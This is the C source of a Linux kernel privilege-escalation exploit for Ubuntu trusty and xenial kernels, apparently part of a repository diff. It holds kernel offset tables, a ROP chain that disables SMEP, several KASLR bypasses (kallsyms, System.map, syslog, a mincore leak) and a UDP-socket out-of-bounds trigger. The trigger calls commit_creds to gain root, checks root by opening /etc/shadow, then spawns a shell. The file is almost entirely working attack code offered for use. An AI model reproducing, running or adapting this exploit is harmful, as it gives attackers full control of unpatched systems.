{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
|
||||
// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
|
||||
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
|
||||
// Used when ENABLE_SMEP_BYPASS is used.
|
||||
// - xchg eax, esp ; ret
|
||||
// - pop rdi ; ret
|
||||
// - mov dword ptr [rdi], eax ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
|
||||
// - neg rax ; ret
|
||||
// - pop rcx ; ret
|
||||
// - or rax, rcx ; ret
|
||||
// - xchg eax, edi ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
|
||||
// - jmp rcx
|
||||
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
|
||||
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
|
||||
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
|
||||
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
|
||||
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
|
||||
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
|
||||
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
|
||||
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
|
||||
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
|
||||
|
||||
uint64_t saved_esp;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
call get_root \n\
|
||||
ret \n\
|
||||
" : : "m"(saved_esp) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
#define CHAIN_SAVE_ESP \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_esp; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define SMEP_MASK 0x100000
|
||||
|
||||
#define CHAIN_DISABLE_SMEP \
|
||||
*stack++ = MOV_RAX_CR4_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = SMEP_MASK; \
|
||||
*stack++ = OR_RAX_RCX_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = XCHG_EAX_EDI_RET; \
|
||||
*stack++ = MOV_CR4_RDI_RET;
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX;
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_aligned, stack_addr;
|
||||
int page_size, stack_size, stack_offset;
|
||||
uint64_t* stack;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
stack_addr = stack_aligned - page_size * 4;
|
||||
stack_size = page_size * 8;
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
||||
dprintf("[-] mmap()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
||||
|
||||
CHAIN_SAVE_ESP;
|
||||
CHAIN_DISABLE_SMEP;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, unsigned long func) {
|
||||
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
||||
memset(ssi, 0, sizeof(*ssi));
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = func;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define SHINFO_OFFSET 3164
|
||||
|
||||
void oob_execute(unsigned long payload) {
|
||||
char buffer[4096];
|
||||
memset(&buffer[0], 0x42, 4096);
|
||||
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
||||
|
||||
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(8000);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
if (connect(s, (void*)&addr, sizeof(addr))) {
|
||||
dprintf("[-] connect()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
||||
int rv = send(s, buffer, size, MSG_MORE);
|
||||
if (rv != size) {
|
||||
dprintf("[-] send()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int val = 1;
|
||||
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
||||
if (rv != 0) {
|
||||
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
send(s, buffer, 1, 0);
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define LSB_RELEASE_LENGTH 1024
|
||||
|
||||
void get_distro_codename(char* output, int max_length) {
|
||||
char buffer[LSB_RELEASE_LENGTH];
|
||||
char* path = "/etc/lsb-release";
|
||||
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
const char *needle = "DISTRIB_CODENAME=";
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL) {
|
||||
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
if (i >= max_length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if ((found - &buffer[0]) + needle_length + i >= length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define DISTRO_CODENAME_LENGTH 32
|
||||
|
||||
void detect_kernel() {
|
||||
char codename[DISTRO_CODENAME_LENGTH];
|
||||
struct utsname u;
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "14.04.1")) {
|
||||
strcpy(&codename[0], "trusty");
|
||||
} else if (strstr(u.version, "16.04.1")) {
|
||||
strcpy(&codename[0], "xenial");
|
||||
} else {
|
||||
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
||||
|
||||
// Linux Mint kernel release mappings
|
||||
if (!strcmp(&codename[0], "qiana"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rebecca"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rafaela"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rosa"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "sarah"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "serena"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "sonya"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
||||
strcmp(u.release, kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
if (rv >= 2) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#if !ENABLE_SMEP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strcmp("trusty", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
if (strcmp("xenial", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[!] unprivileged user namespaces are not available\n");
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_kernel();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
unsigned long payload = (unsigned long)&get_root;
|
||||
|
||||
#if ENABLE_SMEP_BYPASS
|
||||
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
||||
mmap_stack();
|
||||
payload = XCHG_EAX_ESP_RET;
|
||||
dprintf("[~] done, fake stack mmapped\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing payload %lx\n", payload);
|
||||
oob_execute(payload);
|
||||
dprintf("[~] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,52 @@
|
||||
// subshell.c
